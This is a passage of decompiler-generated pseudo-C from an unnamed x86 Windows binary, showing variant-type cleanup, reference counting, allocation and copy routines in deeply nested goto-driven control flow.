																								} else {
																									L229:
																									if(_t878 == 0xa) {
																										_t879 =  *_t1514;
																										__eflags =  *_t1514;
																										if(__eflags != 0) {
																											E0044478F(_t1237, _t1487, _t1539, _t879);
																										}
																									} else {
																										if(_t878 == 5) {
																											E0040E380(_t1514, _t1237, _t1514);
																										} else {
																											if(_t878 == 0xb) {
																												_t1402 =  *_t1514;
																												E004112EF(_t1237,  *_t1514, _t1487, _t1514, __eflags,  *((intOrPtr*)( *_t1514 + 4)));
																												E004112EF(_t1237,  *_t1514, _t1487, _t1514, __eflags,  *_t1514);
																												_t1543 = _t1543 + 8;
																											} else {
																												_t1742 = _t878 - 0xc;
																												if(_t878 == 0xc) {
																													_t887 =  *_t1514;
																													__eflags =  *_t1514;
																													if(__eflags != 0) {
																														E0044B3B8(_t1237, _t1402, _t1487, _t1539, _t887);
																													}
																												}
																											}
																										}
																									}
																									L233:
																									_t1514[2] = 1;
																									 *_t1514 = 0;
																									E004112EF(_t1237, _t1402, _t1487, _t1514, _t1742, _t1514);
																									_t1543 = _t1543 + 4;
																								}
																								L234:
																								_t1237 = _t1237 + 1;
																								_t1743 = _t1237 -  *((intOrPtr*)(_t1543 + 0x38));
																							} while (_t1237 <  *((intOrPtr*)(_t1543 + 0x38)));
																							goto L235;
																						}
																					} else {
																						_t1515 = 0;
																						do {
																							L221:
																							E004112EF(_t1236, _t1401, _t1487, _t1515, 0,  *((intOrPtr*)(_t1236 + _t1515 * 4)));
																							_t1515 = _t1515 + 1;
																							_t1541 = _t1541 + 4;
																							_t1732 = _t1515 - _t1487;
																						} while (_t1515 < _t1487);
																						goto L222;
																					}
																				} else {
																					_t929 = _t1512[6];
																					_t1238 = _t1263;
																					if(_t1512[6] != 0) {
																						E0040B800(_t1238, _t1263, _t1407, _t1539, _t929);
																					}
																					L185:
																					_t930 = _t1512[7];
																					if(_t1512[7] != 0) {
																						E0040B800(_t1238, _t1238, _t1407, _t1539, _t930);
																					}
																					if(_t1512[4] != 0) {
																						L197:
																						 *(_t1512[3]) =  *(_t1512[3]) - 1;
																						_t1711 =  *(_t1512[3]);
																						if( *(_t1512[3]) == 0) {
																							_t1407 =  *_t1512;
																							E004112EF(_t1238,  *_t1512, _t1487, _t1512, _t1711,  *_t1512);
																							E004112EF(_t1238,  *_t1512, _t1487, _t1512, _t1711, _t1512[3]);
																							_t1541 = _t1541 + 8;
																						}
																						L199:
																						E004112EF(_t1238, _t1407, _t1487, _t1512, _t1711, _t1512);
																						_t1487 =  *(_t1541 + 0x70);
																						_t1541 = _t1541 + 4;
																						goto L200;
																					} else {
																						L187:
																						_t1238 = _t1512[5];
																						if(_t1238 == 0) {
																							goto L197;
																						}
																						L188:
																						_t1487 = _t1238[3];
																						if(_t1487 != 0) {
																							 *( *(_t1487 + 0xc)) =  *( *(_t1487 + 0xc)) - 1;
																							_t1705 =  *( *(_t1487 + 0xc));
																							if( *( *(_t1487 + 0xc)) == 0) {
																								E004112EF(_t1238, _t1407, _t1487, _t1512, __eflags,  *_t1487);
																								_t1407 =  *(_t1487 + 0xc);
																								E004112EF(_t1238,  *(_t1487 + 0xc), _t1487, _t1512, __eflags,  *(_t1487 + 0xc));
																								_t1541 = _t1541 + 8;
																							}
																							E004112EF(_t1238, _t1407, _t1487, _t1512, _t1705, _t1487);
																							_t1541 = _t1541 + 4;
																							_t1238[3] = 0;
																						}
																						_t937 = _t1238[2];
																						if(_t937 == 8) {
																							L532:
																							_t1276 =  *_t1238;
																							__eflags = _t1276;
																							if(__eflags == 0) {
																								goto L192;
																							}
																							L533:
																							_push(_t1276);
																							 *0x48242c();
																							E004112EF(_t1238, _t1407, _t1487, _t1512, __eflags,  *_t1238);
																							_t1541 = _t1541 + 4;
																							goto L196;
																						} else {
																							L192:
																							if(_t937 == 0xa) {
																								_t938 =  *_t1238;
																								__eflags =  *_t1238;
																								if(__eflags != 0) {
																									E0044478F(_t1238, _t1487, _t1539, _t938);
																								}
																							} else {
																								if(_t937 == 5) {
																									E0040E380(_t1238, _t1238, _t1512);
																								} else {
																									if(_t937 == 0xb) {
																										_t1407 =  *( *_t1238 + 4);
																										E004112EF(_t1238,  *( *_t1238 + 4), _t1487, _t1512, __eflags,  *( *_t1238 + 4));
																										E004112EF(_t1238,  *( *_t1238 + 4), _t1487, _t1512, __eflags,  *_t1238);
																										_t1541 = _t1541 + 8;
																									} else {
																										_t1710 = _t937 - 0xc;
																										if(_t937 == 0xc) {
																											_t946 =  *_t1238;
																											__eflags =  *_t1238;
																											if(__eflags != 0) {
																												E0044B3B8(_t1238, _t1407, _t1487, _t1539, _t946);
																											}
																										}
																									}
																								}
																							}
																							L196:
																							_t1238[2] = 1;
																							 *_t1238 = 0;
																							E004112EF(_t1238, _t1407, _t1487, _t1512, _t1710, _t1238);
																							_t1541 = _t1541 + 4;
																							goto L197;
																						}
																					}
																				}
																			}
																		case 5:
																			L509:
																			__ecx =  *(__esp + 0xa8);
																			 *__ebx = __ecx;
																			goto L176;
																		case 6:
																			L515:
																			__esi =  *(__esp + 0xa8);
																			__eflags = __esi;
																			if(__eflags != 0) {
																				_push(0x10);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				__esp = __esp + 4;
																				_push(__eax);
																				 *__ebx = __eax;
																				__eax =  *0x482434();
																				__edx =  *__ebx;
																				_push(__esi);
																				_push(__edx);
																				__eax =  *0x482430();
																				__eflags = __eax;
																				if(__eflags < 0) {
																					__eax =  *__ebx;
																					_push( *__ebx);
																					__eax =  *0x48242c();
																					__ecx =  *__ebx;
																					__eax = E004112EF(__ebx, __edx, __edi, __esi, __eflags,  *__ebx);
																					 *__ebx = 0;
																				}
																			}
																			goto L176;
																		case 7:
																			L518:
																			 *__ebx =  *(__esp + 0xa8);
																			goto L176;
																		case 8:
																			L519:
																			_push(0x18);
																			__eax = E0041171A(__ebx, __edi, __eflags);
																			__esp = __esp + 4;
																			__eflags = __eax;
																			if(__eflags == 0) {
																				goto L521;
																			}
																			L520:
																			__ecx =  *(__esp + 0xa8);
																			__eax = E0044B8A7(__eax,  *(__esp + 0xa8));
																			goto L175;
																		case 9:
																			L522:
																			_push(8);
																			__eax = E0041171A(__ebx, __edi, __eflags);
																			__esi =  *(__esp + 0xac);
																			 *__ebx = __eax;
																			__edx =  *( *(__esp + 0xac));
																			 *__eax =  *( *(__esp + 0xac));
																			__eax =  *__ebx;
																			__eax =  *( *__ebx);
																			__esp = __esp + 4;
																			__eflags = __eax;
																			if(__eflags == 0) {
																				_push(1);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				__edx =  *__ebx;
																				 *(__edx + 4) = __eax;
																				__eax =  *__ebx;
																				__ecx =  *(__eax + 4);
																				__esp = __esp + 4;
																				 *__ecx = 0;
																			} else {
																				_push(__eax);
																				__eax = E0041171A(__ebx, __edi, __eflags);
																				__ecx =  *__ebx;
																				 *( *__ebx + 4) = __eax;
																				__ebx =  *__ebx;
																				__edx =  *__ebx;
																				__eax =  *(__esi + 4);
																				__ecx = __ebx[1];
																				__esp = __esp + 4;
																				__eax = E00410F70(__ebx, __edi, __esi, __ebx[1],  *(__esi + 4),  *__ebx);
																			}
																			goto L176;
																		case 0xa:
																			L525:
																			_push(0x14);
																			__eax = E0041171A(__ebx, __edi, __eflags);
																			__esp = __esp + 4;
																			__eflags = __eax;
																			if(__eflags == 0) {
																				L521:
																				__eax = 0;
																				L175:
																				 *_t1235 = _t964;
																				goto L176;
																			}
																			L526:
																			__edx =  *(__esp + 0xa8);
																			_push( *(__esp + 0xa8));
																			_push(__eax);
																			__eax = E0046E9CD();
																			goto L175;
																	}
																}
																L174:
																_t964 =  *(_t1541 + 0xa8);
																goto L175;
															}
														}
													}
													L146:
													_t975 = _t1512[0xb];
													_t304 =  &(_t1512[8]); // 0x67
													_t1239 = _t304;
													if(_t1512[0xb] != 0) {
														E004436F6(_t1239, _t1486, _t1539, _t975);
														_t1239[3] = 0;
													}
													_t977 = _t1239[2];
													if(_t977 == 8) {
														L472:
														_t1282 =  *_t1239;
														__eflags = _t1282;
														if(__eflags == 0) {
															goto L148;
														}
														L473:
														 *0x48242c(_t1282);
														E004112EF(_t1239, _t1408, _t1486, _t1512, __eflags,  *_t1239);
														_t1541 = _t1541 + 4;
														goto L152;
													} else {
														L148:
														if(_t977 == 0xa) {
															_t978 =  *_t1239;
															__eflags =  *_t1239;
															if(__eflags != 0) {
																E0044478F(_t1239, _t1486, _t1539, _t978);
															}
														} else {
															if(_t977 == 5) {
																E0040E380(_t1239, _t1239, _t1512);
															} else {
																if(_t977 == 0xb) {
																	_t1408 =  *( *_t1239 + 4);
																	E004112EF(_t1239,  *( *_t1239 + 4), _t1486, _t1512, __eflags,  *( *_t1239 + 4));
																	E004112EF(_t1239,  *( *_t1239 + 4), _t1486, _t1512, __eflags,  *_t1239);
																	_t1541 = _t1541 + 8;
																} else {
																	if(_t977 == 0xc) {
																		_t1003 =  *_t1239;
																		__eflags =  *_t1239;
																		if(__eflags != 0) {
																			E0044B3B8(_t1239, _t1408, _t1486, _t1539, _t1003);
																		}
																	}
																}
															}
														}
														L152:
														_t1239[2] = 1;
														 *_t1239 = 0;
														_t1240 = _t1512[3];
														if(_t1240 != 0) {
															 *((intOrPtr*)( *((intOrPtr*)(_t1240 + 0xc)))) =  *((intOrPtr*)( *((intOrPtr*)(_t1240 + 0xc)))) - 1;
															_t1679 =  *((intOrPtr*)( *((intOrPtr*)(_t1240 + 0xc))));
															if( *((intOrPtr*)( *((intOrPtr*)(_t1240 + 0xc)))) == 0) {
																_t1408 =  *_t1240;
																E004112EF(_t1240,  *_t1240, _t1486, _t1512, __eflags,  *_t1240);
																E004112EF(_t1240,  *_t1240, _t1486, _t1512, __eflags,  *((intOrPtr*)(_t1240 + 0xc)));
																_t1541 = _t1541 + 8;
															}
															E004112EF(_t1240, _t1408, _t1486, _t1512, _t1679, _t1240);
															_t1541 = _t1541 + 4;
															_t1512[3] = 0;
														}
														_t979 = _t1512[2];
														if(_t979 == 8) {
															L481:
															_t1283 =  *_t1512;
															__eflags = _t1283;
															if(__eflags == 0) {
																goto L156;
															}
															L482:
															 *0x48242c(_t1283);
															E004112EF(_t1240, _t1408, _t1486, _t1512, __eflags,  *_t1512);
															_t1541 = _t1541 + 4;
															goto L160;
														} else {
															L156:
															if(_t979 == 0xa) {
																_t980 =  *_t1512;
																__eflags =  *_t1512;
																if(__eflags != 0) {
																	E0044478F(_t1240, _t1486, _t1539, _t980);
																}
															} else {
																if(_t979 == 5) {
																	E0040E380(_t1512, _t1240, _t1512);
																} else {
																	if(_t979 == 0xb) {
																		_t1408 =  *_t1512;
																		E004112EF(_t1240,  *_t1512, _t1486, _t1512, __eflags,  *((intOrPtr*)( *_t1512 + 4)));
																		E004112EF(_t1240,  *_t1512, _t1486, _t1512, __eflags,  *_t1512);
																		_t1541 = _t1541 + 8;
																	} else {
																		_t1684 = _t979 - 0xc;
																		if(_t979 == 0xc) {
																			_t988 =  *_t1512;
																			__eflags =  *_t1512;
																			if(__eflags != 0) {
																				E0044B3B8(_t1240, _t1408, _t1486, _t1539, _t988);
																			}
																		}
																	}
																}
															}
															L160:
															_t1512[2] = 1;
															 *_t1512 = 0;
															E004112EF(_t1240, _t1408, _t1486, _t1512, _t1684, _t1512);
															_t1234 =  *(_t1539 + 8);
															_t1541 = _t1541 + 4;
															goto L161;
														}
													}
												}
											} else {
												L128:
												_t1011 = _t1241[3];
												if(_t1241[3] != 0) {
													E004436F6(_t1241, _t1485, _t1539, _t1011);
													_t1241[3] = 0;
												}
												_t1013 = _t1241[2];
												if(_t1013 == 8) {
													L429:
													_t1289 =  *_t1241;
													__eflags = _t1289;
													if(__eflags == 0) {
														goto L130;
													}
													L430:
													 *0x48242c(_t1289);
													E004112EF(_t1241, _t1410, _t1485, _t1517, __eflags,  *_t1241);
													_t1541 = _t1541 + 4;
													goto L134;
												} else {
													L130:
													if(_t1013 == 0xa) {
														_t1014 =  *_t1241;
														__eflags =  *_t1241;
														if(__eflags != 0) {
															E0044478F(_t1241, _t1485, _t1539, _t1014);
														}
													} else {
														if(_t1013 == 5) {
															E0040E380(_t1241, _t1241, _t1517);
														} else {
															if(_t1013 == 0xb) {
																E004112EF(_t1241,  *((intOrPtr*)( *_t1241 + 4)), _t1485, _t1517, __eflags,  *((intOrPtr*)( *_t1241 + 4)));
																E004112EF(_t1241,  *((intOrPtr*)( *_t1241 + 4)), _t1485, _t1517, __eflags,  *_t1241);
																_t1541 = _t1541 + 8;
															} else {
																if(_t1013 == 0xc) {
																	_t1025 =  *_t1241;
																	__eflags =  *_t1241;
																	if(__eflags != 0) {
																		E0044B3B8(_t1241, _t1410, _t1485, _t1539, _t1025);
																	}
																}
															}
														}
													}
													L134:
													_t1241[2] = 1;
													 *_t1241 = 0;
													_t1015 = _t1517[2];
													_t1241[2] = _t1015;
													_t1662 = _t1015 - 4;
													if(_t1015 != 4) {
														L437:
														_t1016 = _t1015 - 1;
														__eflags = _t1016 - 0xb;
														if(__eflags > 0) {
															goto L138;
														}
														L438:
														switch( *((intOrPtr*)(_t1016 * 4 +  &M0042E62D))) {
															case 0:
																L440:
																__ecx =  *__esi;
																 *__ebx = __ecx;
																goto L138;
															case 1:
																L439:
																 *_t1241 =  *_t1517;
																_t1241[1] = _t1517[1];
																goto L138;
															case 2:
																L441:
																__fp0 =  *__esi;
																 *__ebx =  *__esi;
																goto L138;
															case 3:
																goto L135;
															case 4:
																L443:
																_push(0x214);
																__eax = E0041171A(__ebx, __edi, __eflags);
																__esp = __esp + 4;
																__eflags = __eax;
																if(__eax == 0) {
																	__eax = 0;
																	__eflags = 0;
																} else {
																	__esi =  *__esi;
																	__ecx = 0x85;
																	__edi = __eax;
																	__eax = memcpy(__eax, __esi, 0x85 << 2);
																	__esi + __ecx = __esi + __ecx + __ecx;
																	__ecx = 0;
																}
																 *__ebx = __eax;
																__eflags =  *(__eax + 4);
																if(__eflags != 0) {
																	__eax =  *(__eax + 4);
																	 *__eax =  *__eax + 1;
																	__eflags =  *__eax;
																}
																goto L448;
															case 5:
																L442:
																__edx =  *__esi;
																 *__ebx = __edx;
																goto L138;
															case 6:
																L449:
																__eflags =  *__esi;
																if(__eflags == 0) {
																	L448:
																	__edi =  *(__ebp + 8);
																	goto L138;
																}
																L450:
																_push(0x10);
																__eax = E0041171A(__ebx, __edi, __eflags);
																__esp = __esp + 4;
																_push(__eax);
																 *__ebx = __eax;
																 *0x482434() =  *__esi;
																__ecx =  *__ebx;
																_push( *__esi);
																_push(__ecx);
																__eax =  *0x482430();
																__eflags = __eax;
																if(__eflags < 0) {
																	__edx =  *__ebx;
																	_push(__edx);
																	 *0x48242c() =  *__ebx;
																	__eax = E004112EF(__ebx, __edx, __edi, __esi, __eflags,  *__ebx);
																	 *__ebx = 0;
																}
																goto L138;
															case 7:
																L452:
																 *__ebx =  *__esi;
																goto L138;
															case 8:
																L453:
																_push(0x18);
																__eax = E0041171A(__ebx, __edi, __eflags);
																__esp = __esp + 4;
																__eflags = __eax;
																if(__eflags == 0) {
																	goto L455;
																}
																L454:
																__edx =  *__esi;
																__eax = E0044B8A7(__eax,  *__esi);
																 *__ebx = __eax;
																goto L138;
															case 9:
																L456:
																_push(8);
																__eax = E0041171A(__ebx, __edi, __eflags);
																 *__ebx = __eax;
																__ecx =  *__esi;
																__edx =  *( *__esi);
																 *__eax =  *( *__esi);
																__eax =  *__ebx;
																__eax =  *( *__ebx);
																__esp = __esp + 4;
																__eflags = __eax;
																if(__eflags == 0) {
																	_push(1);
																	__eax = E0041171A(__ebx, __edi, __eflags);
																	__ecx =  *__ebx;
																	 *(__ecx + 4) = __eax;
																	__edx =  *__ebx;
																	__eax =  *(__edx + 4);
																	__esp = __esp + 4;
																	 *__eax = 0;
																} else {
																	_push(__eax);
																	__eax = E0041171A(__ebx, __edi, __eflags);
																	__ecx =  *__ebx;
																	 *( *__ebx + 4) = __eax;
																	__ebx =  *__ebx;
																	__edx =  *__ebx;
																	__eax =  *__esi;
																	__ecx =  *( *__esi + 4);
																	__esp = __esp + 4;
																	__edx = __ebx[1];
																	__eax = E00410F70(__ebx, __edi, __esi, __ebx[1],  *( *__esi + 4),  *__ebx);
																}
																goto L138;
															case 0xa:
																L459:
																_push(0x14);
																__eax = E0041171A(__ebx, __edi, __eflags);
																__esp = __esp + 4;
																__eflags = __eax;
																if(__eflags == 0) {
																	L455:
																	__eax = 0;
																	 *__ebx = 0;
																	goto L138;
																}
																L460:
																__ecx =  *__esi;
																_push( *__esi);
																_push(__eax);
																__eax = E0046E9CD();
																 *__ebx = __eax;
																goto L138;
														}
													}
													L135:
													_push(0x10);
													_t1018 = E0041171A(_t1241, _t1485, _t1662);
													_t1541 = _t1541 + 4;
													if(_t1018 == 0) {
														_t1018 = 0;
													} else {
														_t1290 = _t1517[3];
														 *_t1018 =  *_t1290;
														 *((intOrPtr*)(_t1018 + 4)) =  *((intOrPtr*)(_t1290 + 4));
														 *((intOrPtr*)(_t1018 + 8)) =  *((intOrPtr*)(_t1290 + 8));
														_t1291 =  *((intOrPtr*)(_t1290 + 0xc));
														 *((intOrPtr*)(_t1018 + 0xc)) = _t1291;
														 *_t1291 =  *_t1291 + 1;
													}
													_t1241[3] = _t1018;
													goto L138;
												}
											}
										}
									}
								} else {
									 *(_t1541 + 0x80) = _t1394;
									goto L41;
									L42:
									_t1419 =  *(_t1541 + 0x80);
									if( *(_t1541 + 0x80) >  *(_t1541 + 0x5c)) {
										L328:
										_t555 = _t1541 + 0xc0; // 0x485234
										_t1230 = _t555;
										E0040D1E0(_t555, _t1419);
										_t1297 =  *(_t1541 + 0x60);
										_t1420 =  *( *(_t1541 + 0x60) + 4);
										 *(_t1541 + 0x84) = 0;
										_t1519 =  *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) + 8 + _t1518 * 4));
										_t1033 =  *(_t1519 + 8) & 0x0000ffff;
										__eflags = _t1033 - 0x4a;
										if(_t1033 == 0x4a) {
											L331:
											_push(_t1519);
											E00402CC0(_t1297, _t1541 + 0xc4);
											_t1297 =  *( *(_t1541 + 0x60) + 4);
											_t1420 =  *(_t1541 + 0x10);
											_push( *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) + 0xc +  *(_t1541 + 0x10) * 4)));
											L332:
											E00402CC0(_t1297, _t1541 + 0xc4);
											_t1520 = _t1541 + 0xd0;
											E00402B00(_t1420, 0x7f, _t1520, _t1745);
											_push(_t1520);
											_t1495 = _t1541 + 0xc4;
											E00402CC0(_t1297, _t1541 + 0xc4);
											L0040AB50( *(_t1539 + 8), _t1745, _t1541 + 0xc4, _t1541 + 0x8c, _t1541 + 0x24, 0xffffffff);
											 *(_t1541 + 0x4c) =  *(_t1541 + 0x10) +  *(_t1541 + 0x10) +  *(_t1541 + 0x10) +  *(_t1541 + 0x10);
											E004019E0(1,  *(_t1541 + 0x14) | 0x00000200, _t1541 + 0x20,  *((intOrPtr*)( *((intOrPtr*)( *(_t1541 + 0x10) +  *(_t1541 + 0x10) +  *(_t1541 + 0x10) +  *(_t1541 + 0x10) +  *( *(_t1541 + 0x60) + 4))))));
											L111:
											_t1047 =  *( *(_t1541 + 0x60) + 4);
											if( *((short*)( *((intOrPtr*)( *(_t1541 + 0x4c) + _t1047 + 4)) + 8)) == 0x41) {
												L409:
												_t1394 =  *(_t1047 + 8 +  *(_t1541 + 0x10) * 4);
												_t1048 =  *(_t1394 + 8) & 0x0000ffff;
												__eflags = _t1048 - 0x4a;
												if(__eflags == 0) {
													L412:
													 *(_t1541 + 0x10) =  *(_t1541 + 0x10) + 5;
													goto L113;
												}
												L410:
												__eflags = _t1048 - 0x49;
												if(__eflags == 0) {
													goto L412;
												}
												L411:
												 *(_t1541 + 0x10) =  *(_t1541 + 0x10) + 4;
												goto L113;
											} else {
												 *(_t1541 + 0x10) =  *(_t1541 + 0x10) + 2;
												L113:
												_t1049 =  *((intOrPtr*)(_t1541 + 0xd8));
												 *(_t1541 + 0x1c) =  *(_t1541 + 0x1c) + 1;
												if(_t1049 >= 0x30) {
													__eflags = _t1049 - 0x3f;
													if(__eflags <= 0) {
														_t1056 =  *(_t1541 + 0xd0);
														__eflags =  *(_t1541 + 0xd0);
														if(__eflags != 0) {
															E004436F6(_t1230, _t1495, _t1539, _t1056);
														}
													}
												}
												_t1647 =  *((intOrPtr*)(_t1541 + 0xc8));
												 *(_t1541 + 0xc0) = 0x485234;
												if( *((intOrPtr*)(_t1541 + 0xc8)) > 0) {
													L416:
													_t1523 = 0;
													__eflags = 0;
													do {
														L417:
														_t1051 =  *( *(_t1541 + 0xc4) + _t1523 * 4);
														__eflags = _t1051;
														if(_t1051 != 0) {
															E0044C7F2(_t1051);
														}
														_t1523 = _t1523 + 1;
														__eflags = _t1523 -  *((intOrPtr*)(_t1541 + 0xc8));
													} while (__eflags < 0);
													goto L115;
												} else {
													L115:
													 *(_t1541 + 0xcc) = 0;
													E004112EF(_t1230, _t1394, _t1495, _t1523, _t1647,  *(_t1541 + 0xc4));
													_t1054 =  *(_t1541 + 0x84) + 1;
													_t1541 = _t1541 + 4;
													 *(_t1541 + 0x80) = _t1054;
													if(_t1054 <=  *((intOrPtr*)(_t1541 + 0x74))) {
														L41:
														_t1296 =  *( *(_t1541 + 0x60) + 4);
														_t1518 =  *(_t1541 + 0x10);
														_t1230 = 0;
														 *((short*)(_t1541 + 0xd8)) = _t1394 | 0xffffffff;
														 *(_t1541 + 0xc0) = 0x485234;
														 *(_t1541 + 0xc4) = 0;
														 *((intOrPtr*)(_t1541 + 0xc8)) = 0;
														 *(_t1541 + 0xcc) = 0;
														 *(_t1541 + 0x84) = 0;
														_t1418 = _t1296 + _t1518 * 4;
														_t1031 = 0;
														 *((short*)(_t1541 + 0xda)) = 0;
														 *(_t1541 + 0x14) = 0;
														if( *((intOrPtr*)( *(_t1296 + _t1518 * 4) + 8)) == 0) {
															do {
																goto L320;
																L324:
																__eflags =  *((intOrPtr*)( *_t1418 + 8)) - _t1230;
															} while (__eflags == 0);
															 *(_t1541 + 0x10) = _t1518;
														}
														goto L42;
													} else {
														_t1230 =  *(_t1541 + 0x5c);
														goto L117;
													}
												}
											}
										}
										L329:
										__eflags = _t1033 - 0x49;
										if(_t1033 == 0x49) {
											goto L331;
										}
										L330:
										_push(_t1519);
										goto L332;
									}
									L43:
									_t1427 =  *(_t1541 + 0x1c);
									_t1058 = _t1031 | 0x00000200;
									if( *((char*)( *((intOrPtr*)( *(_t1541 + 0x68) + _t1427 * 4)))) != 0) {
										L326:
										_t1480 =  *(_t1541 + 0x34);
										_t1394 =  *( *(_t1541 + 0x34) + _t1427 * 4);
										__eflags = E0045EE98( *( *(_t1296 + _t1518 * 4)), E004355FD(_t1394), _t1058, 1);
										if(__eflags == 0) {
											L422:
											_t1390 =  *((short*)( *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) + _t1518 * 4)) + 0xa));
											E0045E62E(_t1745,  *(_t1539 + 8), 0x79,  *((short*)( *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) + _t1518 * 4)) + 0xa)));
											E0044B453(_t1230,  *((short*)( *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) + _t1518 * 4)) + 0xa)), _t1480, _t1518, _t1539, _t1541 + 0xd0);
											_t686 = _t1541 + 0xc0; // 0x485234
											E0040ED60(_t686,  *((short*)( *((intOrPtr*)( *( *(_t1541 + 0x60) + 4) + _t1518 * 4)) + 0xa)));
											break;
										}
										L327:
										_t1523 = _t1518 + 2;
										 *(_t1541 + 0x10) = _t1518 + 2;
										goto L113;
									}
									L44:
									_t1430 =  *( *(_t1541 + 0x34) +  *(_t1541 + 0x1c) * 4);
									_t1523 = _t1058;
									_t1069 =  *(_t1541 + 0x10) +  *(_t1541 + 0x10) +  *(_t1541 + 0x10) +  *(_t1541 + 0x10);
									 *(_t1541 + 0x4c) = _t1069;
									_t1495 =  *( *(_t1069 + _t1296));
									_t1603 =  *0x4a7cdc - _t1230; // 0x0
									if(_t1603 == 0) {
										L333:
										_t1071 = _t1495;
										_t1495 = 0x4a7ccc;
										E00404260(_t1071, _t1296, _t1430, 0x4a7ccc, _t1523, __eflags, _t1430, _t1523);
										goto L111;
									}
									L45:
									 *(_t1541 + 0x18) = _t1430;
									if( *0x4a7ce5 != 0) {
										_t1308 =  *0x4a7ce0; // 0x0
										_t1242 =  *(_t1308 + 8);
									} else {
										_t1242 =  *0x4a7ce0; // 0x0
									}
									_t1073 = 0;
									 *(_t1541 + 0x14) = _t1242;
									if( *_t1242 == 0) {
										L65:
										_push(0x20);
										 *(_t1541 + 0x48) = _t1523 & 0x0000ff00;
										_t1074 = E0041171A(_t1242, _t1495, _t1615);
										_t1558 = _t1541 + 4;
										_t1616 = _t1074;
										if(_t1616 == 0) {
											_t1230 = 0;
										} else {
											_t1528 = _t1074;
											_t1528[2] = 8;
											_t1430 = 0x10 >> 0x20;
											_t1528[1] = 0;
											_push( ~(0 | _t1616 > 0x00000000) | 0x10);
											_t1120 = E0041171A(_t1242, _t1495, _t1616);
											 *_t1528 = _t1120;
											_push(4);
											 *_t1120 = 0;
											_t1121 = E0041171A(_t1242, _t1495, _t1616);
											_t1558 = _t1558 + 8;
											if(_t1121 == 0) {
												_t1121 = 0;
											} else {
												 *_t1121 = 1;
											}
											_t1528[3] = _t1121;
											_t1230 = _t1528;
										}
										if(_t1230 != _t1495) {
											_t1107 = _t1230[3];
											if( *_t1107 > 1) {
												 *_t1107 =  *_t1107 - 1;
												_t1230[1] = _t1495[1];
												_t1230[2] = _t1495[2];
												 *_t1230 =  *_t1495;
												_t1495 = _t1495[3];
												_t1230[3] = _t1495;
												 *_t1495 =  *_t1495 + 1;
											} else {
												_t1527 = _t1495[1];
												_t149 = _t1527 + 1; // 0x1
												_t1109 = _t149;
												_t1230[1] = _t1527;
												_t1620 = _t1230[2] - _t1109;
												if(_t1230[2] < _t1109) {
													_t1230[2] = E00446547(_t1109);
													_t1111 =  *_t1230;
													__eflags =  *_t1230;
													if(__eflags != 0) {
														E004112EF(_t1230, _t1430, _t1495, _t1527, __eflags, _t1111);
														_t1558 = _t1558 + 4;
													}
													_push( ~(0 | __eflags > 0x00000000) | _t1230[2] * 0x00000002);
													_t1114 = E0041171A(_t1230, _t1495, __eflags);
													_t1558 = _t1558 + 4;
													 *_t1230 = _t1114;
													 *((short*)(_t1114 + _t1527 * 2)) = 0;
												}
												E00410F70(_t1230, _t1495, _t1527,  *_t1230,  *_t1495, _t1230[1] + _t1230[1] + 2);
												_t1558 = _t1558 + 0xc;
											}
										}
										_push(0x10);
										_t1230[4] =  *(_t1558 + 0x44);
										_t1076 = E0041171A(_t1230, _t1495, _t1620);
										_t1309 = 0;
										_t1541 = _t1558 + 4;
										if(_t1076 == 0) {
											L80:
											_t1077 =  *(_t1541 + 0x14);
											_t1495 = 0;
											_t1230[5] = _t1309;
											_t1230[7] = 0;
											_t1230[6] = 0;
											_t1523 =  *_t1077;
											if(_t1523 == 0) {
												_t1230[7] = 0;
												_t1230[6] = 0;
												L110:
												 *_t1077 = _t1230;
												goto L111;
											}
											L81:
											if(( *0x4a937c & 0x00000001) == 0) {
												 *0x4a937c =  *0x4a937c | 0x00000001;
												E0044B3F6(0x4a935c);
												E00411421(__eflags, E00429283);
												_t1541 = _t1541 + 4;
											}
											 *0x4a9378 = _t1495;
											 *0x4a9374 = _t1495;
											 *(_t1541 + 0x78) = 0x4a935c;
											 *(_t1541 + 0x54) = 0x4a935c;
											while(1) {
												L83:
												_t1081 = _t1230[1];
												_t1431 =  *((intOrPtr*)(_t1523 + 4));
												if(_t1081 == _t1495) {
													goto L384;
												}
												L84:
												if(_t1431 == _t1495) {
													L385:
													__eflags = _t1081 - _t1495;
													if(__eflags != 0) {
														L95:
														_t183 = _t1523 + 0x1c; // 0x1c
														_t1095 = _t183;
														 *(_t1541 + 0x18) = _t1095;
														_t1096 =  *_t1095;
														if(_t1096 != _t1495) {
															L396:
															 *(_t1541 + 0x4c) = _t1096;
															_t1097 = E00443711(_t1096, _t1230);
															_t1541 = _t1541 + 8;
															__eflags = _t1097;
															if(__eflags == 0) {
																L399:
																 *( *(_t1541 + 0x54) + 0x1c) = _t1523;
																 *(_t1541 + 0x54) = _t1523;
																_t1523 =  *( *(_t1541 + 0x18));
																while(1) {
																	L83:
																	_t1081 = _t1230[1];
																	_t1431 =  *((intOrPtr*)(_t1523 + 4));
																	if(_t1081 == _t1495) {
																		goto L384;
																	}
																	goto L84;
																}
															}
															L397:
															_t1099 =  *(_t1541 + 0x44);
															 *( *(_t1541 + 0x18)) =  *(_t1099 + 0x18);
															 *(_t1099 + 0x18) = _t1523;
															_t1523 = _t1099;
															__eflags =  *(_t1099 + 0x1c) - _t1495;
															if(__eflags == 0) {
																goto L96;
															}
															L398:
															_t1100 = _t1099 + 0x1c;
															__eflags = _t1100;
															 *(_t1541 + 0x18) = _t1100;
															goto L399;
														}
														L96:
														 *( *(_t1541 + 0x54) + 0x1c) =  *(_t1523 + 0x18);
														 *( *(_t1541 + 0x78) + 0x18) =  *(_t1523 + 0x1c);
														_t1085 =  *0x4a9378; // 0x0
														_t1434 =  *((intOrPtr*)(_t1523 + 4));
														 *(_t1523 + 0x18) = _t1085;
														_t1311 =  *0x4a9374; // 0x2f01ae8
														 *(_t1523 + 0x1c) = _t1311;
														_t1086 = _t1230[1];
														if(_t1086 == _t1495) {
															L400:
															__eflags = _t1434 - _t1495;
															if(__eflags != 0) {
																L407:
																_t1230[6] =  *(_t1523 + 0x18);
																_t1230[7] = _t1523;
																 *(_t1523 + 0x18) = _t1495;
																L109:
																_t1077 =  *(_t1541 + 0x14);
																goto L110;
															}
															L401:
															__eflags = _t1086 - _t1495;
